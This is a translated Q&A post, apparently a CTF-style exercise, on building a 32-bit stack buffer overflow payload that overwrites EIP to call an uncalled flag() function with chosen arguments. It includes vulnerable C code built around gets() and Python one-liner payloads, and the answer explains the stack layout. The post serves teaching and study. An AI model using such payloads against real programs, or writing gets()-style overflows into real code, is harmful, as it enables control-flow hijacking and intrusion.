如何构建缓冲区溢出负载

how to build up a buffer overflow payload

我正在关注这篇关于堆栈数组缓冲区溢出的文章,进行 ROP 攻击以调用通常不会被调用的函数。

一共有三个函数。 vuln,flag 和 main.

main 只调用了 vuln,而 vuln 有一个 180 字节的 Whosebug。

int main()
{
  vuln();
}

void vuln()
{
  char buf[180];
  gets(buf);
}

flag 没有被调用,有两个参数:

void flag(int param1, int param2) { }

它存在于地址 0x080491e2。

flasg可以通过溢出180的缓冲区多8个字节然后加上EIP得到的地址来调用。

python -c "print('A'*188 + '\xe2\x91\x04\x08')"

到目前为止一切顺利,flag 被调用但没有参数。 要使用参数调用 flag,我们必须在 flag 的地址和整数的两个值之后添加 'A'*4,并在它们之间添加 '\r'。

python -c "print('A'*188 + '\xe2\x91\x04\x08'+'A'*4+'\xef\xbe\xad\xde\r\xd0\xde\xc0')"

我不明白为什么需要'A'*4,这里覆盖了哪些堆栈部分? 还有参数之间的'\r',如果它不存在则不起作用。 '\r'有什么作用?

AAAA 是因为在进入 flag 时,它希望堆栈顶部包含其 return 地址,参数从该地址开始 4 个字节。您不关心 flag 是否能够 return,因此您只需要 4 个字节的垃圾来代替 return 地址。

至于\r,它不在参数之间(它们在内存中应该是相邻的,并且它们之间不能有任何字节);相反,它实际上是第二个参数的第一个(最不重要的)字节。 ASCII 回车 return \r 具有数值 0x0d,因此您的参数是 0xdeadbeef, 0xc0ded00d。我不知道为什么他们将低字节写为 \r 而不是 \x0d 这样会更一致。也许它被某些程序自动从二进制转换为十六进制转义。